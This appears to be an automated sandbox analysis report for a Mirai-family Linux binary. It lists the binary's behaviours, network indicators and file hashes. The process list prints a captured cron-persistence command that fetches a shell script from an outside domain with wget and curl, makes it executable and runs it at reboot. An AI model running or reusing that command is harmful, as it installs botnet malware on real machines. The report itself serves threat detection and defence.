Analysis Overview
SHA256
3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615
Threat Level: Known bad
The file x86.elf was found to be: Known bad.
Malicious Activity Summary
Mirai family
File and Directory Permissions Modification
Renames itself
Unexpected DNS network traffic destination
Creates/modifies Cron job
Changes its process name
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-27 07:13
Signatures
Mirai family
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-27 07:11
Reported
2024-10-27 07:16
Platform
ubuntu2204-amd64-20240611-en
Max time kernel
130s
Max time network
136s
Command Line
Signatures
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/sh | N/A |
Renames itself
| Description | Indicator | Process | Target |
| N/A | N/A | /tmp/x86.elf | N/A |
Unexpected DNS network traffic destination
| Description | Indicator | Process | Target |
| Destination IP | 65.21.1.106 | N/A | N/A |
Creates/modifies Cron job
| Description | Indicator | Process | Target |
| File opened for modification | /var/spool/cron/crontabs/tmp.P6I4MI | /usr/bin/crontab | N/A |
Changes its process name
| Description | Indicator | Process | Target |
| Changes the process name, possibly in an attempt to hide itself | /bin/busybox telentd | /tmp/x86.elf | N/A |
Processes
/tmp/x86.elf
[/tmp/x86.elf]
/bin/sh
[sh -c (crontab -l ; echo "@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh") | crontab -]
/usr/bin/crontab
[crontab -]
/usr/bin/crontab
[crontab -l]
Network
| Country | Destination | Domain | Proto |
| N/A | 224.0.0.251:5353 | udp | |
| FI | 65.21.1.106:53 | kingstonwikkerink.dyn | udp |
| NO | 81.29.149.178:6325 | kingstonwikkerink.dyn | tcp |
Files
/var/spool/cron/crontabs/tmp.P6I4MI
| MD5 | af73a255cf822f131242d4b68503af1a |
| SHA1 | 099f3aaf9df66df7f1c57d131fa7376dfacb5ae7 |
| SHA256 | 0ade95a9592b514f790d7b64d6e21e15eca16ef61904db297860cf91b8d32dc0 |
| SHA512 | 0a8b47b1f31a0de3dc070f26cd658338e00d0b8d79ff44bb3ad6ba3bb8e212b0abf4abe38d9dd15ef4856e4ec04b73222280dbc0dc3a88cddb0be190ce945499 |